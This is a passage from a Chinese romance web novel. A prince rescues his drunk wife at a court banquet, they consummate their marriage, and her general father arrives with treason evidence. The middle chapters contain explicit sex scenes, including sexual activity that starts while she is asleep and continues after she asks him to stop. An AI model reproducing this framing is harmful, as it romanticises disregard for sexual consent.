等言婉回来,宋星糖脸颊上已经揉开了两团红晕。 “我的天。”言婉哀叹一声,忙把人扶起来,“可还好?怎么喝了这么多!” 宋星糖歪头靠在言婉肩头,睁着两只雾蒙蒙的眼睛,疑惑道:“言姐姐,你怎么长了四只眼睛呀?” 言婉:“……” 好在午后宴席就能散了,愿意留下的,诸如常在宫里行走的几家姑娘,跟着贵妃娘娘一起逛御花园。 不愿留下的,跟着自家长辈打道回府。 言婉见时辰还早,便想着陪她在宫里走一走醒酒。 她与自己的手帕交,名唤周善月的,一左一右扶着宋星糖。 周善月虽不知宋星糖来历,却也知道此人根本不是言婉的“表妹”。 她的父亲乃是兵部尚书,与言婉的父亲一同效力于怀王,但言婉因为比她多了谢徽这一层关系,所以在怀王跟前更为说得上话,比她知道的也多。 周善月在一无所知的情况下,并不会往怀王身上想,只当这是言婉新认的“妹妹”,因此也格外照顾。 她道:“不如送她回家吧?万一冲撞了哪位贵人,怕是不好。” 言婉见小姑娘摇摇晃晃的模样,也开始觉得不妥,她无奈道:“这是喝了多少啊……” “两壶哟!好甜!好喝!”宋星糖忽然原地跳了一下,笑嘻嘻地,“我叫宫女续了一壶!对了,那宫女真好,身上香香的,和鱼鱼一样好闻!” 言婉:“……” 周善月大惊:“姑娘海量!那酒我喝几杯就上头,后劲足着呢!不过,鱼鱼是谁呀?是你的姐妹吗?” “鱼鱼是我最喜——” 言婉一把捂住她的嘴,苦命地恳求:“回吧,回吧。” 再留下,全天下都该知道他们房里那点事了。 这小姑娘清醒时便懵懂无知,口无遮拦,喝醉了指不定能说出什么豪言壮语来。 言婉扶着人往外走,怎料冤家路窄,竟碰上了熟人。 说来这两位拦住前路的,正是那日在茶楼,宋星糖听完员外郎之子的丑事,往外走时遇到的两人。 她们皆是故事中那位发妻的亲妹妹,也是侯府的千金。 当日因为议论人家的家事,被人听到,因此便被记恨上。 其实不提此事,那二位与言婉和周善月自小便暗暗较量。 几人幼时在学堂读书时,便为了第一名争得头破血流,后来大了,争的便是京城第一才女的名头,以及攀比谁有更好的亲事。 在所有的比试中,皆是言婉更胜一筹,尤其是侯府千金中有一人也心仪谢徽,可谢徽偏偏就选了言婉,这叫她们如何能咽得下气。 正巧有此次争端,那两人可算有了出气的机会。 堵住人,便是一顿冷嘲热讽:“言婉,你这是从哪儿找来的女人,瞧着这般愚钝。” 另一人也道:“竟敢在宫中喝醉,目无礼法,出言无状,她再喊大声些,惊扰了贵人如何是好。” “你没个姐妹,就算是想给小侯爷物色妾室,好巩固你入侯府后的地位,也该挑个温婉柔顺的才是,这个一看就是个不安分的,到时候把小侯爷的宠爱都分走,你得去哪儿哭呀?” 近来言婉总把宋星糖带在身边,格外照顾,明眼人都看得出来,言婉很重视她,不是身份贵重,就是有求于她。 女子貌美,举止随性,且未曾听说其父母及亲眷,可见并非出自名门。 一举一动间,又自有其勾人之处,尤其是那股浑然天成的娇憨与纯净,便叫人挪不开眼,尤其是男人。 京中的闺秀们多是娇纵傲慢,只当其天真之状是故意为之,是在矫揉造作地勾引男人,因此背地里没少诋毁她,常 以恶意度人心,认为这女子定是言婉找来给谢徽填充后院的。 毕竟言婉自己送的,总比男人自己从外头找要可靠好拿捏得多,两位侯府千金的母亲便常如此,故而以己度人。 言婉一听猛地沉了脸色,勃然大怒:“女子清誉最为要紧,二位皆曾深受其害,何以摇身一变,同为加害者?” “二位姑娘因长姐的婚事风波,受了牵连,丢了大好的婚事,心里有气该去找那罪魁祸首。害得你们沦落如今这般,是那些男人,而非我们。只敢在这儿堵人,总不会是二位欺软怕硬,只敢挑软柿子捏吧?” 言婉顿了顿,忽然嗤笑一声:“可惜,这柿子看着软,实则却如铁石一般。” 说着,悄咪咪戳了戳小姑娘的脸颊。 嗯,确实软软的。 光天化日,揭开二人心底最触动不得的伤疤,二人面上皆挂不住。 一人恼道:“你不就是攀上了谢府,怀王殿下也愿意同你说几句话吗,有什么可得意的?有本事你去攀怀王啊?” 另一人也道:“我看,这女子你也别送给谢小侯爷,给怀王殿下不是正好?听说殿下近来欲娶妻,家中添了主母,正好送她去给主母做侍婢,若有幸爬上主子的床,也是她修了八辈子才修来的福气,你也能跟着沾光。” 说罢,心中觉得痛快,因为谁都知道,给怀王送女人,只有死路一条,不光这女子是,言婉更是。 二人气势更胜,往前逼近两步。 言婉松开宋星糖,迎面挡回去,把人护在身后。 三人对峙,却久不见言婉回击。 只见言婉和周善月都怔怔望着她们身后的方向。 二人心头一跳,蓦地回身。 目光触到那身绣有四爪巨蟒的亲王朝服。 “参、参见怀王殿下!” 二人脸色煞白,低头行礼。 言婉不言不语地福了福身。 男人冷淡的目光轻飘飘落了过来。 周善月心里一慌,一下松开挽着宋星糖的手,结结巴巴:“参见、殿下。” 由于言婉前进了一步,就只剩周善月一个人扶着宋星糖,现在周善月也松开手。 本就饮醉,身形不稳的小醉鬼,直接软倒在地上。 只听扑通一声,沈昭予的眉头微微蹙起。 他冷着脸,迈步向前。 咚—— 宋星糖左歪右倒,脑袋靠到周善月的小腿侧。 周善月冷汗直冒,脚步挪动,想躲,又怕直接抽走,她会倒在地上。 正左右为难,余光瞥见男人的靴子,顿时缩着脖子,老老实实不敢乱动。 都知怀王最重仪态礼仪规矩,周善月与其余二人都笃定宋星糖必定要受罚。 周善月心里思忖着,等会要如何求情,那二人心底幸灾乐祸,一时间连自己嚼了怀王的舌根都忘了。 男人缓步而来,沉稳从容,足下无声,却似有千金重。 所过之处,周遭的空气随之凝滞几分,一时间鸦雀无声。 他最终在周善月跟前停下。 周善月只能硬着头皮,“殿下,宋姑娘初入宫中,不知宫里的规矩,求您饶她这——” 她战战兢兢地抬眼,对上男人冷峻的眉眼。 男人的目光平静地从她面上扫过。 周善月蓦地住嘴,一股无形的压力从头顶罩下,迫使她情不自禁地,后退一步。 一撤开腿,小醉鬼便再无依靠,失去平衡,往地上倒。 千钧一发之际,一只大掌托住了她的脑袋。 众人余光皆可见,男人弯着身,手托着女孩的脑袋,温柔地笑了下。 神态亲昵,毫不遮掩。 除了言婉,在场所有旁观者皆是一惊。 男人心甘情愿地躬身,华丽尊贵、象征尊贵身份的朝服垂在地上,沾上尘土,他毫不在意,拇指轻轻摩挲着她的脸,低声问了一句:“喝了多少?” 理智十有九亡的醉鬼兴奋欢呼:“两壶!” 沈昭予抬眸,冷冷瞥了一眼言婉。 言婉垂着头,惭愧道:“有负殿下所托。” 这话一出,如一块石子投入平静的水中,惊起丝丝涟漪。 “罢了,也是她小主意太多。” 男人轻描淡写将此页揭过,不同无关之人计较。 众目睽睽之下,他长臂一伸,半搂着,把人捞了起来。 宋星糖嗅到熟悉的味道,下意识拱进他怀里,双手绕过他劲瘦的腰身,抱紧,蹭了蹭脸。 “怎喝这么多?” 沈昭予抬手摸摸她的小脑袋,轻叹一声。 宋星糖睁开迷蒙的眼,努力将视线聚集到他的脸上,语气中难掩开心:“昂,我厉害吧?” 众人:? 只听男人笑着叹道:“厉害,真是好酒量。” 众人:“……” 好在哪里? 不对,是谁在怀王身上,快下去! 疑似被鬼怪夺舍的男人弯腰,轻轻拍了拍沾在她裙子上的土。 宋星糖茫然看着,只觉得这画面眼熟。 哦,想起来了。 他做赘婿时,总弯腰为她拍土。 她扁着嘴,眼中尽是委屈。 待他直起身,便一头扎进胸口,再不说话。她借着蹭头的动作,把眼角的潮湿都抹了上去。 沈昭予瞥她一眼,未发一言,纵着她去。 “这几日辛苦。” 他对言婉颔首道。 言婉忙道:“殿下言重,愧不敢当。” 感觉到怀里人的不安与焦躁,沈昭予心中轻叹。 该同她好好谈谈,兴许是这几日冷落她,不高兴了。 伸手勾住她的腿弯,轻轻松松将人打横抱起,阔步向外走。 路过那两位面如死灰的侯府千金时,深深看了她们一眼。 “都散了吧。” 第82章 第82章以“赵鱼”的身份,行赘…… 【82】 八月十五,不仅是团圆的好日子,还是个十分适合做重大决定的日子。 比如沈昭予,在今日与皇帝达成了“君子协议”。 只要那几个皇子不给沈昭予找麻烦,他可以不赶尽杀绝,给他们留下一命。 至于皇帝的身后事,沈昭予都一一做出了承诺。 筹谋十余载,一朝落定,沈昭予心中并不觉得十分松快。 因他还有一桩人生大事没有定好。 朝堂之事,在踏进这间闺房时,便都抛之脑后,眼下他目光中只容得下一人。 对于宋星糖来说,今日亦十分重要。 这是她千挑万选的,圆房的日子。 圆房也是一种圆,谁说不算一种团圆呢? 大事就该这样的好日子来做。 宋星糖前期准备做得很足,临门一脚,只差点勇气,所以她才打算喝酒壮胆。 只不过分寸没把握好,一不小心把自己喝醉了。 好在没全醉,她还认得出人,琢磨了一会,隐约想起来几招。 很好,她果然聪明很多,醉酒仍不忘知识。 沈昭予把人放到榻上,抬头对上她亮晶晶的眼睛,不由得笑道:“这便忘了?” 方才还一副很难过的样子,回家的功夫,就天下太平了。 宋星糖没听懂,疑惑地看他一会,没想出个所以然,便作罢。 正事要紧! 她先是不小心把茶水泼在男人身上,撺掇着他去沐浴,在男人意味深长的目光里,她红着脸钻进被窝,把脑袋埋进去。 沈昭予只当她想他陪着午睡 ,又嫌他身上不净,不与她计较,无奈地去沐浴。 见人走了,宋星糖把脑袋拔出来,翻开只有她自己能碰的包袱,从里头刨出一样东西来,掖到枕头下,和秘戏图放在一起。 她拆了自己的发饰,又把自己剥个精光,只留一件小衣。 裹进被子里,眼巴巴地望着门的方向,等人来。 谁知只看了没一会,眼睛里便开始转圈。 酒意渐渐上头,等着等着,不知不觉竟睡了过去。 再有意识时,自己陷在一个温暖的怀抱里。 她脑袋懵懵的,仰头对上男人戏谑的笑眼,她呆愣住,“我,睡着了吗?” “头还痛吗?”沈昭予抬手为她揉太阳穴,“梦里一直喊疼,你啊,下回再不许饮酒。” 宋星糖余光瞥见烛火,再一看外头,她蓦地起身,惊道:“天都黑了?!” 她一副“天崩地裂”的表情,叫沈昭予不由得困惑不已,稍一思索,他试探道:“难不成,你有别的安排?” 宋星糖气自己,更气他。 “都怪你!” 沈昭予:? 凭什么? “就怪你就怪你!” 宋星糖脑袋直直顶了过去。 沈昭予伸手将她连带着被子一起抱住,认命道:“好好好,怪我,就算我没叫你起床,也不耽误什么,这不是还有晚上吗?” 宋星糖蓦地抬头,喜出望外:“你晚上不必去做事吗?” “暂且不必,我也需要休息。”他笑着将她头发挽至耳后,温声道,“也该抽空陪一陪大小姐。” 他想过宋星糖会因为自己的陪伴而开心。 但不寻常的是,她表现得太开心了。 她开心到,令他本能地觉得恐惧,觉得不好。 得跑。 直觉这般警告他。 沈昭予笑容微僵,忙不迭松开手,往下撤,“本王忽然想起,还有些朝政要处理,你先自己——” “哪里跑!” 小姑娘一声大喝,从被子里翻身而出,一个跨步,骑到他身上。 她一手揪住他的衣领,一手按着他的脸,恶狠狠地:“你逃不掉的!” 她只上身穿了件衣裳,下面却…… 沈昭予强迫自己只看她的眼睛,眸底深处闪过暗芒,“糖儿这是,还想试试?” “不,我要来真格的。” 沈昭予眼皮一跳,感觉自己呼吸逐渐加快。 他被女子直白的目光看得动了情,燃起欲。 双手不由自主扶上,喉结轻轻滚动。 宋星糖拉开他的手,放在自己的心口,让他感受自己的不安与急切。 她轻声道:“沈昭予,你同我讲实话。” 她几乎没怎么叫过他的这个名字,沈昭予一时间有些恍惚,“什么实话?” “你到底是不是存了将我丢下的心,所以才不愿与我圆房?” 他神情狼狈,不敢与她对视,低声道:“……从前是,如今不是。” 对于当初那段心路,沈昭予从不遮掩隐瞒。 他一生行得端做得正,哪怕是要谋夺大位,也自诩是通过智谋达到目的,百般筹谋,殚精竭虑,不愿费一兵一卒,不愿生灵涂炭,只想将代价降到最低。 他自认没做过亏心事,更不屑骗人。 他独独对不起宋星糖。 一旦沾染了情这一字,饶是沈昭予这般狂妄之人,也会失了方寸,自卑自怨,不知该如何是好。 从前秉承着不能作践了人家姑娘的原则,不肯对她做出越轨之举。 如今则是舍不得,千万个珍重与怜惜在心中,只想要给她全世界最好、最圆满的。 所以哪怕再受不了别人的质疑,他依旧不忍就这么在婚前要了她。 等待的不单单只是一个最佳时机,还有沈昭予给她最起码的尊重。 “你以为这是尊重我的意愿,可你没想过,我心里究竟想不想要吗?” “你说我可以随性而为,凡事只问内心……” 她把他的手又举到自己脸侧,把头埋进掌心,亲昵地蹭了蹭。 “沈昭予,你怎么不问问我的心,听听它是怎么说的?” 沈昭予微微怔住,抬起另一手,细细描摹过她的眉眼,哑然道:“那它是怎么说的?” 女子吐息如兰,羞赧的媚意勾缠在他指尖,她红着脸道:“它说,你欠我一个洞房花烛,该弥补我。” 沈昭予只觉得自己强忍的、关在内心深处的猛兽,就快要关不住了。 腊月寒冬冰封的湖水,一瞬之间,陡然乍破。春水汩汩而至,渐至澎湃汹涌。 他再难忍耐,翻身将她掀开,而后天旋地转,他居高临下,嗓音紧绷,眼神更是十分危险。 “我当初只怕你被人骗了去,所以才告诉你,那事唯有夫妻间才可做。”他缓了缓气息,继续道,“可你一再因此而质疑我的用心,你可知我亦忍得极为艰难?听你所言,甚觉委屈。” “那你就不要忍了嘛。”宋星糖抬起两手勾住他脖子,生怕人又逃了。 她感觉自己睡了一觉,酒意仍在。 因为她的头又开始发昏,也不知是酒的后劲太足,还是他身上那股好闻的味道又给她下迷药。 “你委屈,我又何尝不是?” 她红着眼睛,一咬牙,带着股决绝。 “沈昭予,今日你不要我,往后你就都别要了!” 此言一出,男人锐利的凤眸陡然深暗。 不等他动作,宋星糖从枕下抽出一张纸,举到二人之间。 沈昭予淡淡一瞥,正是她写给他的那封休书。 “这是我拜托青鸾从你那偷拿回来的。” 她正说着,感觉到自己的小衣被人解开,脑袋里“嗡”地一下。 沈昭予似笑非笑,将衣裳扔开,手掌慢慢抚上去,哑声道:“继续说。” 敢再三央求、威胁、挑衅他,却没胆子承受他的主动。 沈昭予伸出手指,对着那对挺而而翘的红色樱桃又勾又捻。 一压一放,颤颤巍巍地,在空气中无助地弹了一下。 还说不是纸老虎。 宋星糖瑟缩着,强忍羞意,梗着脖子,心道说就说,谁怕谁。 她难道还会跟他似得,爱当逃兵,总打退堂鼓吗? 她硬气道:“你瞧好了。” 白皙纤长的手指捏住纸的正中,而后缓缓往两边使力。 刺啦—— 休书一分为二。 从手中滑落,飘到地上。 她眼中含着水雾,郑重宣布: “休书已毁,我只当从未写过,我们还是夫妻。” 是夫妻,就可以做尽天下最亲密的事。 沈昭予定定凝望她半晌。 忽然轻轻笑了一声:“糖儿肯原谅我?” “是,我原谅你了。” 沈昭予微微颔首,抬手一挥,红烛尽灭。 床幔垂落,衣带尽解。 “男唱而女和,上为而下从,此物事之常理也。” 宋星糖缓缓瞪大眼睛。 他念的是…… 沈昭予手按住枕下露出的一角书边,往外抻。 他看着熟悉的封面,笑道:“看来糖儿偷偷摸摸地,都看完了。” 宋星糖抬起手臂,害羞地遮脸,嘟囔了句:“怎么这就暴露了呀。” 她还想说点什么,可下一刻话都卡在喉咙里,出不来。 她感觉到有异物闯入,就像上次一样。 “还要先试吗?” 她抖着声音问。 “不,听大小姐的,来真的。” 宋星糖眼前一亮,期待又紧张:“真的?是、是要圆了?” 沈昭予忍俊不禁,“嗯,圆。” 再不圆,夫人就要跑了。 他相信,宋星糖能说到做到。 开疆拓土的手指,由一根,逐渐增至两根。 “糖儿,你要记得,我并非是因为你的威胁,或是你毁了休书,才肯做这事。” 怀王殿下不愧是做什么都能做到最好。 只凭借着两指,便能搅得人神志不清。 好半晌,宋星糖才找回自己说话的能力,而不是一味只知道无意义地哼吟。 “那、那你为何?” 宋星糖只等了一瞬,便又被拽入新的涡流中。 之后是漫长地空白,所有感官全都被拉扯到极致。 夜渐深,隐约听到窗外的雨声。 沈昭予从才开辟出的畅通无阻的小路中原路退回。 “因为,我终于听到你心里的声音。”他笑着抹去指间流液,换成更为凶猛嚣张之器,低声反省,“而不是刚愎自用、一意孤行。” 挺身而出,挤过狭长。 “既是弥补洞房之夜,那合该我来伺候大小姐才是。” 最后一次以“赵鱼”的 身份,行赘婿之责。 也算有始有终。 沈昭予嗅到空气中的腥甜味道。 垂下眸,一抹刺眼的红映入眼中。 他愈发轻缓温柔,将全部的自制力皆用在了怜惜她上。 女子泪眼模糊,始终不曾喊疼,却口呼着破碎的‘慢些’‘好涨’这些本能之语。 第一次的痛,唯他才有。 沈昭予如释重负地笑了,缓缓俯身,于泥泞小巷中钻得更深。 “赵某定好好侍奉大小姐。” “叫轻就轻,叫停就停,叫退就退,可好?” 女子泪珠悬在眼尾,摇摇欲坠,颤着滚入发中。 “……好呜。” 第83章 第83章重置授课记忆。 【83】 从前在越州时,沈昭予一共教过宋星糖三招。 一曰跪立——女一膝跪,一膝在男臂弯,男跪于后,手握女月退高抬。 当初沈昭予用此式练她的臂力与腿力,把她累瘫了。 二曰鹤交颈——男正箕坐,女跨其股,手抱男颈。 沈昭予靠着低沉轻柔的嗓音,对她进行谈话治疗,把她哄睡着了。 三曰蚕缠绵——女仰卧,两手向上抱男颈,以两脚绕于其背上。男以两手抱女项,跪其股间,即入。 那次以沈昭予伤口崩裂流血、她心疼落泪而告终。 好像这几次,无一留下美好的回忆。 或许,可以再以赵鱼的身份,将此前记忆覆盖。 这才叫真的有始有终吧? 倘若不纠其错,不完善其缺憾之处,又怎能叫“一次完美的伪装”呢? 沈昭予微勾唇角,垂眸落在女子的脸上。 红颊粉颈,两目迷茫,忽然色变声颤。 沈昭予感受到底下骤然的紧绷,以及之后一阵无规律而急促的收束。 他微微失神,大脑一片空茫,凭着本能而深进最后一下。 没等他缓过神来,忽然听她抖着气息,长呼了一口气。 宋星糖感受着还有热意源源不断地透入身内,稍稍一动,才刚涌入的暖潮又倾泻而出。 她红着脸,艰难抬起头,不确定道:“这下是真的圆了吧?没再糊弄我?” 沈昭予伸手接住,轻声笑道:“是,没有骗你。” 得到肯定的答案,宋星糖悬了许久的心倏地落地。 她心心念念的愿望,圆满了。 “咚”地一声,脑袋沾到枕头上,两眼一闭,险些昏睡过去。 她摆了摆手,喃喃:“好了,你走吧。” 没你事了。 沈昭予:?? 他看着手心里混了红丝的秾白之物,蓦地沉默下来。 她果然,是用完自己就要扔的。 一次两次,这是第三次了。 人都说事不过三。 沈昭予沉默地下榻,用帕子把手擦净,命人打了一盆热水,再准备一桶沐浴水,并且特意嘱咐用能容纳两人的大桶来。 他拿着一条湿帕子回来,抖了下被子,卷在里头的一条已经昏睡过去的人滚了出来。 沈昭予坐在榻边,耐心而冷静地掰开她的两条腿,微微绽开的细缝陡然呈现在眼前。 他面色如常,只眸色更暗,不躲不避,定定看了半晌。看到仍沾有点点白班,用帕子轻轻拭干。 擦完,帕子一扔,再度靠过去。 “……” 宋星糖做了个诡异的梦。 她梦到自己趁着沈昭予不在,偷走了他的凌风骑。 今日的凌风十分乖顺,她指哪它就往哪跑,只是…… 这凌风奔跑的姿势十分奇怪,它四脚同时抬起,高高一蹦,再四脚同落,踏在地上。 马儿一蹦一蹦地前行,短短路途,几乎把她五脏六腑都颠挪了位。 她坐在马背上,很快支撑不住,上身朝下倾倒,额头磕在马颈上。 这马颈,温温暖暖的,十分光滑。 嗯? 马颈怎么没有毛呢? 然后宋星糖带着疑惑,醒了。 “……” 颠簸并未停下,目之所及,仍旧是颠倒摇晃的世界,与梦中并无半分区别。 哦。非要说不同,那就是梦里她在骑凌风,现实她骑的叫沈昭予。 “是赵鱼,”男人笑着纠正道,“此刻在侍奉大小姐的,是名为赵鱼的赘婿。” “大小姐切莫在此时唤旁人的名姓,否则我会难过的。” 似是为了证明他心中嫉妒吃味,猛地朝上。 宋星糖:“……” 她眼中的泪一下便被顶了出来。 身子酸软,下巴再度贴回到没有毛的马颈,哦不,他的脖颈上。 “大小姐,这才是真正的鹤交颈,你瞧,这姿势像不像?” 宋星糖顺着他看,她的手臂被他缠到颈上,两脚岔分两边,人坐在他月退上。 “刺麦芒,务中其实。” 赵姓赘婿笑着背出图侧注语,兢兢业业地为妻主讲解道: “大小姐是麦芒,我深刺之,抬臂摇举,时浅时深。” 一边说,一边还配合着肢体动作,将这堂课教授得更为生动直观。 “大小姐,可学会了?” 他语中带笑,可面上却丝毫笑意都没有,全然是沉浸其中的专注认真。 “鱼鱼,呜呜。” 没学会,但人快废了。 宋星糖眼角悬泪,脱力地靠在他肩头,她面冲他脸的方向,哽咽声就在他的耳边。 每每呜咽,都感觉马儿的跃得更高,跳得更远,扎得更深。 连跟尽没,沉沉浮浮。 等她彻底哭出声,那马儿更是跟吃了疯药一般。 那股冲劲,力道极猛。若是有一条直通天界的阶梯,它也能一口气奔上去,无需片刻停歇。 长夜漫漫。 直至神形溃散,她才再次被人放开。 耳边恍惚听到四更梆响,她两眼直直望着架子床顶。 而后她清醒地经历了沈昭予曾对她做过的一套“侍奉”流程。 为她清理,给她擦脸,喂她喝水。 然后他又贴过来。 嗓音轻柔,魔音绕耳:“大小姐,还有下一篇呢。” 男人俊美的面容倒映在她的瞳仁中,越来越大,越来越大。 在宋星糖惊恐的目光中,男人笑着,拉着她一同坠入学习的海洋。 “……” 宋星糖此生从未如此痛恨过学习。 她虽脑子笨,但一向觉得自己求知欲足,好奇心满,对于新鲜的事情,她都乐于尝试。 可愿意尝试,不代表可以在一夜之间,反复尝试、频繁尝试。 凡事皆讲求一个‘度’,超过一个限度,做得过火,她就不愿做了。 可沈昭予不这样打算,他没打算轻易放过她。 比如当初学九章算术时,他每日堂后都给她留有满满一页的算题,一为给她打发时间,少去烦他,二则是要她勤于练习、熟能生巧。 嗯,还是那句话—— 人一能之,己百之;人十能之,己千之。 刻苦多练四个字,放在哪一行当上都说得通。 男人十分刻苦,额头上凝出勤学的汗来,一滴一滴,滴在她散着热气的脸上,很凉。 她无助地勾着手,羞赧地偏过头,躲开他呼出的气息,使心免于扰乱。 她感觉自己翘起的月退正随着他的力而摆动,哆哆嗦嗦地求饶: “鱼鱼,你说、说了,让停就停的……” 男人脸上露出愧疚神色:“大小姐,对不起,赵某要食言了。” 口 中彬彬有礼,而后是一段果断的疾刺。 那副乐在其中的样子,一点看不出他的“抱歉”。 “蚕缠式。双蚕成茧共缠绵,糖儿可听说过此句?” 讲授房中之伎还不算完,还要教她诗词。 “今生但愿无离别,花月下、绣屏前。双蚕成茧共缠绵。更结后生缘。” 一生一世,死生不弃。 沈昭予压下心的悸动,把那未宣之于口的八字真情一起置于心底。 于榻之上,便是说了,她也难听进耳去。 况且,这话本就是他说给自己听的,她无需知晓。 无休止的夜,学识渊博的赵鱼。 两课止,宋星糖彻底累倒,再抬不起一根手指。 她曾“卸磨杀驴”三次,他便用三次来回报她,很公平。 无休止的夜,记仇的沈昭予。 沐浴的水凉了又热,热了又凉。 足以容纳两人的木桶最终没派上用场,不要紧,他们此生长着,总有其用武之地。 沈昭予径自踏出木桶,给自己草草擦拭,又拿过一条毯子,裹在始终未醒的女子身上,将其捞了出来。 腾空那一瞬,宋星糖获得短暂的清醒,睁眼看到的,是男人还沾着水珠的肩膀。 他抱她往回走。 隐约听到他在耳边笑着说:“还差一课,下次吧,睡吧。” 睡……吧。 天都亮了。 “……” 辰初,沈昭予准时醒来。 只睡了不到两个时辰,可他却精神抖擞,神采飞扬,宛如才进补过大力丸一般。 他靠在边上,目光柔情似水,看了枕边人良久。 一晃小半个时辰过去,他才恋恋不舍地,由榻上起身。 穿戴洗漱完毕,他打开房门,便见魏吉打院墙上飞身落下。 魏吉一身黑衣,抱拳跪地:“殿下,宋将军到了。” 沈昭予眸光一凛,阔步出门。 ** 午时,宋星糖终于成功地把两脚踩实在地上。 她抖着双腿,气得捶床,话一句不说,一声一声地阴森冷笑。 每笑一声,屋里众婢女皆垂首屏息,不敢言语。 最终还是妙荷先出主意:“不然,您去找他闹吧?” 青鸾忍不住劝阻:“那万一,再闹到榻上,又当如何?” 怀王殿下的脾气,他们这些做属下的最清楚。 这人满身反骨,最受不得挑衅与激将。 幼时先帝偏心长子,苛待他,他就偏要在所有事上都压兄长一头,压所有人一头,让人但凡提起出色两个字,首先想到的就是他这个不被看好的人。 后来先帝流放他去边境自生自灭,他把西素人打得毫无反手之力,接连夺回数座城池,叫先帝想治罪都没有理由。 等到新帝继位,他又惦记着把皇兄弄死,自己做这个皇帝。 这一切皆因他怨恨那句“命格极贵”的批语,所以他就屡屡违逆皇命,从先帝的命违逆到这一代皇帝的,每行一步都踩在皇权二字之上,不是说他最尊贵吗,那他就尊贵给所有人看。 信批语,就得听他的。 不信批语,他就把人全都治服,还是得听他的。 如此强势霸道、高高在上之人,何以能容忍在过后因不满他的所为而大吵大闹?这不是在挑衅他的威严吗? 青鸾对其专横的印象实在顽固,十分担忧宋星糖去闹过以后,该收获怎样令人难以承受的结果。 宋星糖冷笑一声,“他让我把他当赵鱼。” 一个赘婿,就是这样伺候她的? 把她伺候得腰酸腿软,饥肠辘辘。 一觉醒来,人竟然不见了?! 宋星糖饭也顾不上吃,扶着腰,撑着墙,哆嗦着腿,慢慢往主院挪。 议事厅中。 沈昭予正与千里迢迢投奔而来的宋鸿宋将军相谈甚欢。 习武之人,耳力极佳。 远远的,就听有位女子在嚷嚷—— “沈昭予!有本事做,没本事面对我?!” “沈昭予,你出来!” “你别不吭声,我知道你在家!” 宋鸿:? 这声音耳熟啊,哪听过来着? 他摸着下巴,陷入沉思。 沈昭予:“……” 第84章 第84章“还要多亏爹爹的好主意…… 【84】 听说宋鸿抵达的消息,沈昭予片刻不停去见客。 他行至厅堂门外,与堂中男子遥遥相望,四目相对。 终于见到了这位镇守南境的将军,他心爱人的父亲。 这位征战多年的老将,与沈昭予所见过的那些人都没什么不同,虎背熊腰,健硕魁梧,皮肤略黑,眉骨下一双鹰隼般锐利的黑眸异常明亮。 只是有一点不同,就是能从他的五官上看出与他女儿有几分相似的地方。 这点类似,叫沈昭予生出几分亲切来。 连日赶路,风尘仆仆,宋鸿全凭着一口气吊着精神,一路提着小心,百般警惕,终于抵达目的地。 下马时,见到府门外高挂的“怀王府”三字牌匾,他才终于能卸下全身的包袱。如今见到面前的年轻人,他顿时有种热泪盈眶的感觉。 沈昭予疑似从男人喉中听到了低沉的哽咽声,不由得身形一顿。 正犹豫着,屋中的男人阔步向外迎来。 男人抱拳跪地,声若洪钟:“末将宋鸿,拜见怀王殿下。” 沈昭予才从人家女儿床上下来,眼下断断受不得这一拜,他伸手将人扶起,微微一笑:“宋将军不必多礼。” 说罢一阵风似得飘过,径自到主位上落座。 “将军请坐,来人,看茶。” 宋鸿惊疑不定,往上头瞧了一眼,不怎么踏实地坐下去。 他心里不安,屁股只挨着凳子的一个边,不敢坐实。 心里直犯嘀咕——这位王爷,似乎远不似传言中的那般,不讲情面,冷若冰霜啊。 宋鸿抬头,对上男人温和的笑脸。 他挠了挠脸。 这不是挺和蔼可亲的嘛? 外头果然尽传些谣言。 宋鸿重重叹息一声。 沈昭予嘴角噙笑,温声问道:“将军叹气,可是有何烦扰?” “哦,末将只是感慨,殿下您如此宽和,被外头那些宵小传得凶神恶煞的,害得末将一路上忐忑难安,生怕您一个不高兴,就把末将赶回去。” 沈昭予:“……” 要糟,他的风评似乎不太好。 他艰难维持着唇角的笑,支开话题:“将军假死脱身,悄离南境,可是有何难言之隐?” 宋鸿这才肃正脸色,一眨眼就将方才的感叹都忘了,专心说起正事。 不愧是多年领兵打仗的老将,一开口就直奔主题,直击重点: “末将收集到一些证据,直指朝中有人通敌卖国,殿下请看。” 宋鸿从贴身的衣裳里翻出几封信,呈上去。 信纸被保存得极好,想必他这一路为了护着此物,必定经过不少艰辛。 沈昭予一边看,一边听宋鸿的禀报。 简而言之,是南境有将领与朝中串通,将我军情报卖给敌军,以换取利益。 至于为何要这么做,当然不止是为了钱,更重要的,是达成不可见人的秘密协议。 “殿下,哪怕被您治罪,末将也要说,”宋鸿鼓起勇气,带着破釜沉舟般的决绝:“是朝中的皇子。” 至于是哪位,宋鸿不清楚。 “嗯?”沈昭予凤眸微挑,似笑非笑,不经意间泄露出上位者的威严来,“本王为何要治你的罪?” 宋鸿铮铮铁骨,昂着头颅,目光坚定,“您虽为皇子们的叔叔,可您更是一方守将,不该对这种罪行坐视不理。” “既然担心本王徇私,那将军为何又千里迢迢,奔赴西北?” 在未抵达灵州前,一切皆是未知数。 他得知了惊天秘密,将生死置之度外,历经一路艰难险阻,在看不清前路的情况下,坚定不移,是何等坚韧心性。 他把所有的希望都寄托在一个素未谋面的人身上,又得是何等果决与孤勇。 宋鸿目光炯炯,铿 锵有力:“凡在军中,无一不耳闻殿下声名,我军将士,无不对殿下钦佩之至,若这世上还有最后一根稻草能本末将抓住,那毫无疑问,便只能是殿下您了。” 沈昭予听惯了阿谀奉承,各个辞藻华丽,字字珠玉,可似这般言辞恳求、发自肺腑的,倒极为少见,听之叫人颇为动容。 他垂眸轻笑,将这份足震惊朝野的证据尽数按在指间。 他旁的都没说,只道了四个字:“将军放心。” 宋鸿大喜。 不愧是威名远播的怀王殿下! 宋鸿真心拜服,带着欣赏与敬仰的目光看着上首位的年轻人。 忽然听得一声吵嚷。 拧眉细听,心中惊疑不定。 “这……这似乎是小女的声音?” 宋鸿小心翼翼地问道。 可他女儿不应该在越州家中吗? 话音落,更为清晰的一声—— “人呐?!去哪儿啦!出来!” 宋鸿:?? 沈昭予:“……” 他无奈苦笑,默默站起身,在宋鸿疑惑、惊讶、茫然的注视下,快步朝外走。 路过时,宋鸿闻到他身上带有一股脂粉香气。 宋鸿瞪大眼睛,抻脖望去,恍惚间,似乎看到男人后衣领内,有块牙印? “姑娘,您慢着些,哎哟!” 李嬷嬷忽然高声喊道。 这嗓音同样再熟悉不过。 宋鸿须臾间脑中闪过几个念头,脸色蓦地一沉,紧紧追了出去。 “姑娘,姑娘哟——” 越近厅堂,宋星糖的耐心越少,越走越快。 “好一个赵鱼,真有本事。” 将她痛感迟钝的毛病都给治好了。 